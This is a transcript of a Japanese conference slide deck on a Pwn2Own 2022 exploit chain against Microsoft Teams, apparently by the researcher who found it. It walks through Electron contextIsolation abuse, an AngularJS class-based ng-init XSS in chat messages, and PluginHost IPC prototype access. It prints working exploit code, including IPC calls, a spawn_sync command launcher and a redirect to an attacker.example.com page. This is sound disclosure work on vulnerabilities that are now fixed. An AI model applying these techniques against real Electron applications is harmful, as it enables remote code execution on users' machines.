Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

Shibuya.XSS techtalk #12 の発表資料です。
English version is here: https://speakerdeck.com/masatokinugawa/pwn2own2022

Masato Kinugawa

July 31, 2023
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. Pwn2Ownで
    Microsoft Teamsを
    ハッキングして
    2000万円を獲得した方法
    2023/7/25 Shibuya.XSS techtalk #12 Masato Kinugawa

    View Slide

  2. 自己紹介
    • Masato Kinugawa
    • 好きな脆弱性はXSS
    • 2010~2016: 専業バグハンター
    • 2016~: Cure53で脆弱性診断

    View Slide

  3. 今日の話
    • 2022年5月に開催されたハッキングコンテストで賞金を獲得した、
    Microsoft Teamsで任意のコードを実行可能だった脆弱性につい
    て話します
    • 技術以外の話題についてはポッドキャスト「Web & Browser
    Security」の「Webセキュリティのアレ」回で!
    https://podcasters.spotify.com/pod/show/shhnjk/episodes/Web-e1s9jjl/a-a923e6v

    View Slide

  4. Pwn2Own (ポウンツーオウン)とは
    • トレンドマイクロが運営する脆弱性発見コミュニティZDI(Zero
    Day Initiative)によるハッキングコンテスト
    • 2007年から開催
    • 特定の製品の(主に)任意コード実行のデモを決められた時間内
    に達成すると成功、賞金が支払われる
    • 当日のデモの様子: https://youtu.be/3fWo0E6Pa34?t=238
    • 報告された脆弱性はベンダーに通知される

    View Slide

  5. ターゲットの例(Pwn2Own Vancouver 2022の場合)
    • ブラウザ(Chrome, Edge, Firefox, Safari)
    • デスクトップアプリ(Teams, Zoom, Adobe Reader, Office 365)
    • 自動車(Tesla)
    • VM(Virtual Box, VMware, Hyper-V)
    • サーバー(Microsoft Exchange, SharePoint, Windows RDP, Samba)
    • OS(Windows/Ubuntuの権限昇格の脆弱性)
    Pwn2Own Vancouver 2022 Rules (Web Archive):
    https://web.archive.org/web/20220516223600/https://www.zerodayiniti
    ative.com/Pwn2OwnVancouver2022Rules.html

    View Slide

  6. Microsoft Teamsについて
    • 言わずと知れたMicrosoft製のチャットやビデオ通話のできる
    コミュニケーションツール
    • 2つのバージョンが存在し、利用される技術が異なる
    • 1.x: Electron ←コンテストの対象はこっち
    • 2.x: Edge WebView

    View Slide

  7. 発見した脆弱性
    1. メインウィンドウでのContext Isolationの欠如
    2. チャットメッセージを通じたXSS
    3. PluginHostを通じたサンドボックス外でのJS実行
    ➡ これらを組み合わせて任意コード実行を達成

    View Slide

  8. 発見した脆弱性 1
    1. メインウィンドウでのContext Isolationの欠如
    2. チャットメッセージを通じたXSS
    3. PluginHostを通じたサンドボックス外でのJS実行

    View Slide

  9. Electronとは
    • HTML/CSS/JavaScript(Node.js)を使ってデスクトップアプリ
    ケーションを作成するためのフレームワーク
    • GitHubによって開発
    • Electronアプリの例
    • Visual Studio Code
    • Discord
    • Slack
    • GitHub Desktop
    • Figma

    View Slide

  10. こんな風に動く
    const {BrowserWindow,app} = require('electron');
    app.on('ready', function() {
    let win = new BrowserWindow();
    //Open Renderer Process
    win.loadURL(`file://${__dirname}/index.html`);
    });


    Hello Electron!


    メインプロセス
    (ブラウザ本体のイメージ)
    レンダラプロセス
    (ブラウザのタブのイメージ)
    main.js: index.html:
    • 2種類のプロセスが存在
    • ブラウザ部分はChromium

    View Slide

  11. 最初に注目するところ
    const {BrowserWindow,app} = require('electron');
    app.on('ready', function() {
    let win = new BrowserWindow();
    //Open Renderer Process
    win.loadURL(`file://${__dirname}/index.html`);
    });


    Hello Electron!


    メインプロセス
    (ブラウザ本体のイメージ)
    レンダラプロセス
    (ブラウザのタブのイメージ)
    main.js:
    まずはここに注目する
    index.html:

    View Slide

  12. BrowserWindow
    • ブラウザウィンドウを作るAPI
    • このAPIのオプションに注目する
    • オプションによってRCEの起こりやすさが変わってくる
    new BrowserWindow({
    webPreferences: {
    nodeIntegration: false,
    contextIsolation: false,
    sandbox: true
    [...]
    }
    });
    注目すべきオプション:

    View Slide

  13. nodeIntegration
    • Webページ上でNode API(およびElectronのレンダラプロセスモ
    ジュール)を有効にするかどうか
    • 有効時、任意のJSを実行できれば直接require()してRCEできるこ
    とになる
    require('child_process').exec('calc');
    今回は無効

    View Slide

  14. contextIsolation
    • Webページ側とNode APIを使う部分の間のJSのコンテキスト
    を分離するかどうか
    • Node APIを使う部分:
    • Electron内部のコード
    • Preloadスクリプト(開発者がレンダラ上で一部Node APIを使いたい
    ときに使うもの。nodeIntegrationが無効でも使える。)
    これがないとどうなる?➡
    今回は無効

    View Slide

  15. contextIsolationがないと…
    • 任意のJSを実行可能時、プロトタイプの書き換えなどによって
    nodeIntegrationが無効でもNode APIにアクセスされ得る
    //Web page
    Function.prototype.call = function(arg) {
    arg.someDangerousNodeJSFunction();
    }
    // Preload script or Electron internal code
    function someFunc(handler) {
    handler.call(objectContainingNodeJSFeature);
    }

    View Slide

  16. contextIsolationがないと…
    • 任意のJSを実行可能時、プロトタイプの書き換えなどによって
    nodeIntegrationが無効でもNode APIにアクセスされ得る
    //Web page
    Function.prototype.call = function(arg) {
    arg.someDangerousNodeJSFunction();
    }
    // Preload script or Electron internal code
    function someFunc(handler) {
    handler.call(objectContainingNodeJSFeature);//called
    }

    View Slide

  17. contextIsolation:true なら
    • プロトタイプの書き換えはNode APIが利用できる部分に影響せ
    ず、このトリックでRCEされることは無くなる
    //Web page
    Function.prototype.call = function(arg) {
    arg.someDangerousNodeJSFunction();
    }
    // Preload script or Electron internal code
    function someFunc(handler) {
    handler.call(objectContainingNodeJSFeature);//called
    }
    Built-inの Function.prototype.callが呼ばれる

    View Slide

  18. sandbox
    • Chromiumのサンドボックスを使うかどうか
    • falseは Chromeを--no-sandbox フラグ付きで実行した状態と同じ
    • falseにするとメモリ破壊などのバグでRCEが容易に
    • 有効時はさらに、preloadスクリプトなどのNode APIが利用でき
    るコンテキストで一部APIが使えなくなる
    • プログラム・OSコマンドを実行できるもの(例: shell.openExternal)
    • クリップボードにいきなりアクセスするもの(clipboard モジュール)
    • ローカルファイルにアクセスできるもの
    今回は有効

    View Slide

  19. オプションから言えること
    new BrowserWindow({
    webPreferences: {
    nodeIntegration: false,
    contextIsolation: false,
    sandbox: true
    }
    });
    ➡任意のJS実行可能時、 sandboxによりRCEに直接繋がるような
    Node APIへのアクセスは制限されるが、contextIsolationの欠如によ
    りそれ以外のNode APIへのアクセスは得られるかもしれない状態

    View Slide

  20. Node APIへのアクセスを試みる
    • 様々なBuilt-inメソッドのプロトタイプを上書して悪用可能な
    Node APIへの参照がとれないか試していると…
    • 上書きしたFunction.prototype.callからipcRendererモジュー
    ルへの参照がやって来た
    <br/>Function.prototype._call = Function.prototype.call;<br/>Function.prototype.call = function(...args) {<br/>if (args[3] && args[3].name === "__webpack_require__") {<br/>ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;<br/>}<br/>return this._call(...args);<br/>}<br/>

    View Slide

  21. ipcRendererモジュール
    const { ipcMain } = require('electron');
    [...]
    ipcMain.handle('test', (evt, msg) => {
    console.log(msg);//hello
    return 'hey';
    });
    Hello Electron!
    メインプロセス
    main.js:
    index.html:
    レンダラからメインプロセスとIPC通信する時に使う
    const { ipcRenderer } = require('electron');
    ipcRenderer.invoke('test','hello');
    .then(msg=>{
    console.log(msg);//hey
    });
    preload.js:
    ➡メインプロセスは完全なNode APIへのアクセスがあるので
    メッセージの処理が迂闊な部分があればRCEが起きるかも
    レンダラプロセス

    View Slide

  22. ここまでを踏まえ
    1 任意のJSを実行する方法を探す
    • XSS
    • 任意のサイトへのリダイレクト
    2 RCEに繋がる部分を探す
    • 1で奪ったipcRendererモジュールへの参照からIPCを通じてRCEに繋がる箇
    所がないか
    • sandbox:true でもRCEに直接繋がるAPIが公開されてないか(Electronの0-
    dayを見つける)
    contextIsolationが無く、ipcRendererの参照が取れることが分かった
    ここからRCEするには:

    View Slide

  23. 発見した脆弱性 2
    1. メインウィンドウでのContext Isolationの欠如
    2. チャットメッセージを通じたXSS
    3. PluginHostを通じたサンドボックス外でのJS実行

    View Slide

  24. 任意のJSを実行するアイデア
    • XSS
    • 任意のサイトへのリダイレクト
    • この手のRCEをするとき実行されるオリジンは通常重要でない
    • JSさえ実行できればNode APIを使う部分に干渉できるため
    • なお、Pwn2Ownのルール上、ユーザー操作なしにRCEを達成す
    る必要がある
    • アプリやメッセージを開いただけで発火など
    有望そうな
    チャットメッセージを見ていくことにする➡

    View Slide

  25. HTMLサニタイザを見る
    • チャットメッセージでは
    一部のHTML/CSSが使える
    • サーバとクライアント側それぞれで
    サニタイズを行った上でHTMLを表示
    ➡サーバ側のサニタイズはブラックボックスのため
    クライアント側のJSからサニタイズ動作を推測することにする

    View Slide

  26. クライアント側のサニタイズ
    • sanitize-htmlライブラリを使用 https://github.com/apostrophecms/sanitize-html
    • サニタイズされるものの例
    • スクリプトの実行(XSS)に繋がるHTML要素・属性
    • レイアウトを破壊するCSS
    意外にもここで
    CSS周りのサニタイズをチェックしたことが
    XSSの発見へ繋がることになる…➡

    View Slide

  27. classのサニタイズ
    • クライアント側のJavaScriptでclass名の許可リストらしき文字列
    を発見
    e.htmlClasses = "swift-*,ts-image*,
    emojione,emoticon-*,animated-emoticon-*,
    copy-paste-table,hljs*,language-*,zoetrope,
    me-email-*,quoted-reply-color-*"
    • これらのclass付きのHTMLを投稿するとサーバ/クライアント側の
    サニタイズを通過できた
    • アスタリスクはワイルドカードとして作用する様子

    View Slide

  28. ワイルドカード(swift-*)の動作
    • class名のセパレータ(0x20とか)以外はなんでも通る様子
    test
    test
    ところが…アイツのせいで
    JavaScriptの実行に繋がる?! ➡
    完全に任意のclass名は追加できないから問題なし?

    View Slide

  29. アイツ = AngularJS
    • Teamsは一部ページでクライアント側のフレームワークに
    AngularJSを使用していた
    • チャットメッセージ表示部もそのうちの1つ
    • 最近はReactに置き換えつつある様子
    AngularJSといえば➡

    View Slide

  30. XSSer ♥ AngularJS
    • AngularJSはXSSerにとって都合の良いライブラリ
    • HTMLタグを使わずテンプレート記法( {{}} )でXSSできたり
    • unsafe-eval不要のCSPバイパスも導入しうる


    {{constructor.constructor('alert(1)')()}}






    View Slide

  31. 過去に発見されたXSS
    • 過去にもTeamsでAngularJSを通じたXSSが発見されている
    • テンプレート記法の間にヌル文字を挟むとフィルターをバイパ
    スできていた
    {{3*333}\u0000}
    詳細:https://github.com/oskarsve/ms-teams-rce
    ➡SPAのTeamsでこれが起こるということは…
    ユーザー入力から動的にAngularJSのHTMLとして
    (ng-appの内側にあるHTMLのように)コンパイルしている?
    他にもAngularJS経由のXSSが起こる箇所があるのでは?
    AngularJSのドキュメントを読んでいくと…

    View Slide

  32. ngInitディレクティブ (1/2)
    • テンプレートが実行される前の初期化に使われる
    • 以下でHello World!が出力される



    {{greeting}} {{person}}!



    この属性値はAngularJS式と評価されるので以下で任意JSが動く:
    ng-init属性はもちろんサニタイズされるが…➡

    View Slide

  33. ngInitディレクティブ (2/2)
    • ngInitはclassからも使える
    • 次の2つは等価:


    aaa

    ...
    ...
    公式のドキュメント:https://docs.angularjs.org/api/ng/directive/ngInit
    以下もAngularJS式と評価される:
    classからJSが動いた!
    ※ ng-classやng-styleなどでも動く。

    View Slide

  34. classディレクティブの取り出し方
    aaa
    aaa
    aaa
    aaa
    CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/,
    正規表現で取り出していた:
    以下は全てngInitディレクティブとして動く:
    https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384
    classに swift-* が許される動作と組み合わせると…➡

    View Slide

  35. XSS!
    • 次のHTMLをチャットに投稿したらJSが実行された
    aaa
    ※なお、ここで今まで使ってきたconstructorを使っていないのはAngularJSのバージョンによって任意の
    JS実行を防止するサンドボックス(どのバージョンも不完全)があり直接constructorを使えなかったため
    参考:Gareth Heyesさんによるバージョン毎のAngularJS sandbox bypassのまとめ
    https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
    目標はあくまでRCE、さらに続く!➡

    View Slide

  36. ここまでで出来たこと
    • 任意のJSは実行できた
    • それを使ってcontextIsolationの欠如を利用しIPCRendererモ
    ジュールへの参照を取得できた
    RCEにつながりうる迂闊なことをするIPCリスナーがないか
    チェックしていくとPluginHostというレンダラが目を引いた➡

    View Slide

  37. 発見した脆弱性 3
    1. メインウィンドウでのContext Isolationの欠如
    2. チャットメッセージを通じたXSS
    3. PluginHostを通じたサンドボックス外でのJS実行

    View Slide

  38. PluginHost
    • PluginHostと名付けられたinvisibleなレンダラが存在
    • ここに読み込まれたslimcoreと呼ばれるNodeモジュールをメ
    インウィンドウ側からIPC経由で操作している様子
    • ここは sandbox: false
    • slimcoreの実行にsandboxが障害になるから?
    "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex
    e" --type=renderer [...] --app-
    path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res
    ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams-
    process-type=pluginHost

    View Slide

  39. slimcoreはどう実行されるか
    • PluginHost上のpreloadスクリプトでIPCリスナーを設定し、メ
    インウィンドウから送信されたメッセージを受け取って実行
    • メインウィンドウからsendToRendererSyncというAPI(参照を取得
    できたオブジェクトに存在)を使うとメッセージを送信可能
    • このAPIはipcRendererモジュールに本来存在しないのでMSが独自に拡
    張したもの?
    ELECTRON_REMOTE_SERVER_REQUIRE
    ELECTRON_REMOTE_SERVER_MEMBER_GET
    ELECTRON_REMOTE_SERVER_FUNCTION_CALL
    こんな名前のIPCリスナーが存在:

    View Slide

  40. IPCリスナーの役割
    • ELECTRON_REMOTE_SERVER_REQUIRE
    • require()をメッセージで指定された値を引数にして呼び出す
    • ただしバリデーションが存在し"slimcore"など一部のモジュールのみロード可
    • ELECTRON_REMOTE_SERVER_MEMBER_GET
    • メッセージで指定された値にプロパティアクセスを行う
    • ELECTRON_REMOTE_SERVER_FUNCTION_CALL
    • メッセージで指定された値を引数にして関数呼び出しを行う
    • (SETやその他の操作のリスナーもある)

    View Slide

  41. こういう風に呼び出せるイメージ
    require('slimcore').func('arg');
    1. ELECTRON_REMOTE_SERVER_REQUIREを送る
    3. ELECTRON_REMOTE_SERVER_FUNCTION_CALLを送る
    2. ELECTRON_REMOTE_SERVER_MEMBER_GETを送る
    ふむ、何だかにおうぞ…➡

    View Slide

  42. MEMBER_GETのプロパティアクセスに注目する
    ELECTRON_REMOTE_SERVER_MEMBER_GETの中身:
    P(c.remoteServerMemberGet, (e,t,n,o)=>{
    const i = s.objectsRegistry.get(n);
    if (null == i)
    throw new Error(`Cannot get property '${o}' on missing remote object ${n}`);
    return A(e, t, ()=>i[o])
    }
    )
    i がアクセス対象、oがアクセスするプロパティ。
    アクセスはhasOwnProperty()などの一切の
    チェックなしに行われている、これが意味するのは…➡

    View Slide

  43. プロトタイプへのアクセスが許される
    require('slimcore').toString.constructor('js-code')();
    1. REQUIRE
    4. FUNCTION_CALL
    2. MEMBER_GET 3. MEMBER_GET
    5. FUNCTION_CALL
    これによりconstructorからFunction()にアクセスし
    任意のJSを実行できた:

    View Slide

  44. これで何ができる?
    • 評価はpreloadスクリプト内で行われている
    • つまりNode APIへのアクセスがあるコンテキスト!
    • さらにsandbox:false なので使えるAPIの制限は緩い!!
    このコンテキストでRCEする方法 ➡

    View Slide

  45. process.binding
    • Node.js内部で使われるrequireのようなもの
    • sandbox: false のときしか使えない
    • child_process中ではbinding('spawn_sync')が使われていて、この時の
    呼び出しを真似ればコマンド実行が可能:
    a = {
    "type": "pipe",
    "readable": 1,
    "writable": 1
    };
    b = {
    "file": "cmd",
    "args": ["/k", "start", "calc"],
    "stdio": [a, a]
    };
    process.binding("spawn_sync").spawn(b);
    これは@CapacitorSet & @denysvitaliさんによるMath.jsのRCEから学んだ:https://jwlss.pw/mathjs/

    View Slide

  46. 補足:require()は使えないの?
    require('slimcore')
    .toString.constructor("require('child_process')...")();
    直接 require('child_process') を呼べばいいんじゃ?
    これは動かない 、なぜか ➡

    View Slide

  47. requireが動かない理由
    Function()はグローバルスコープで実行される関数を作成するため
    1: function (exports, require, module, __filename, __dirname) {
    console.log(`1: ${arguments.callee.toString()}`);
    console.log(`2: ${eval('typeof require')}`);
    console.log(`3: ${constructor.constructor('typeof require')()}`);
    }
    2: function
    3: undefined
    console.log(`1: ${arguments.callee.toString()}`);
    console.log(`2: ${eval('typeof require')}`);
    console.log(`3: ${constructor.constructor('typeof require')()}`);

    preloadスクリプトとしてロードすると
    関数のスコープにある

    View Slide

  48. 別のコマンド実行の方法
    • Pwn2Own参加者の@adm1nkyj1 & @jinmo123さんもIPCを通じたコマンド実行
    の方法を発見していた模様
    • ただしコマンド実行の方法が異なり、preloadスクリプト内で使用されるevalを利用して
    require('child_process')していた
    詳細: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2-
    pluginhost-allows-dangerous-rpc-calls-from-any-webview
    function loadSlimCore(slimcoreLibPath) {
    let slimcore;
    if (utility.isWebpackRuntime()) {
    const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
    slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
    [...]
    }
    [...]
    }
    String.prototype.replaceを書き換え
    てこの戻り値を好きに変更
    任意の文字列がevalに渡る
    (direct eval callのため関数のスコープで実行、この場合requireへのアクセスがある )

    View Slide

  49. 全てのバグがそろった!
    1. メインウィンドウでのContext Isolationの欠如
    2. チャットメッセージを通じたXSS
    3. PluginHostを通じたサンドボックス外でのJS実行
    電卓起動までの道のりをみてみよう! ➡

    View Slide

  50. 再現手順
    1. 攻撃者は次のJSを含むページを用意する
    <br/>Function.prototype._call = Function.prototype.call;<br/>Function.prototype.call = function(...args) {<br/>if (args[3] && args[3].name === "__webpack_require__") {<br/>ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;<br/>}<br/>return this._call(...args);<br/>}<br/>
    次のページにIPCを送信するコードが続く...
    <br/>...<br/>ipcRendererモジュールへの参照を取得するコード:<br/>

    View Slide

  51. <br/>setTimeout(function(){<br/>ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',[[],'slimcore'],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'toString',[]],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'constructor',[]],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":<br/>'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":["/k","start","calc"],"stdio":[a,a]};<br/>process.binding("spawn_sync").spawn(b);'}]],'')[0]['id'];<br/>ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":""}]],'');<br/>});<br/>},2000);<br/>
    require('slimcore').toString.constructor('js-code')();
    1. REQUIRE 4. FUNCTION_CALL
    2. MEMBER_GET 3. MEMBER_GET
    5. FUNCTION_CALL
    上のコードはPluginHost上で以下を実行するためのIPCを送信するコード:

    View Slide

  52. 再現手順
    2. こんなHTMLをチャットメッセージとして投稿
    aaa

    View Slide

  53. 再現手順
    evalを解いて簡単にすると10秒後に攻撃者のサイトへナビゲー
    ションするコードを実行するだけ
    setTimeout(function(){
    location.replace('//attacker.example.com/poc.html');
    },10000);
    さっき用意したページ
    ※ setTimeoutの待ち時間は実際には不要。デモを判りやすくするためにあります。

    View Slide

  54. 再現手順
    3. 犠牲者はメッセージを開く(XSSがトリガーされる)

    View Slide

  55. 再現手順
    暫くするとナビゲーションが発生し細工されたページへ
    (https://attacker.example.com/poc.html)

    View Slide

  56. 再現手順
    とつぜん電卓が起動!!!!
    (https://attacker.example.com/poc.html)
    DEMO: https://youtu.be/TMh_WbF9VnM

    View Slide

  57. 全て修正された
    • contextIsolation: 有効になった
    • XSS: アスタリスクの部分で使える文字列が厳密になった
    • PluginHost: contextIsolationを無効にして、CSPを適用する
    ことでpreloadスクリプトでevalできないようにしたっぽい?
    • 特定のElectronバージョンではcontextIsolation無効だとpreloadスク
    リプトにもCSPが効くようだ
    • 最新のElectron(v25+)で試したらそもそもpreloadスクリプト中で
    evalが禁止されていた
    • "Uncaught EvalError: Code generation from strings disallowed for this
    context"

    View Slide

  58. 以上です
    • Pwn2Ownで賞金を獲得した脆弱性について話しました
    • 皆も挑戦してみてね!

    View Slide

  59. Thanks!!
    @kinugawamasato

    View Slide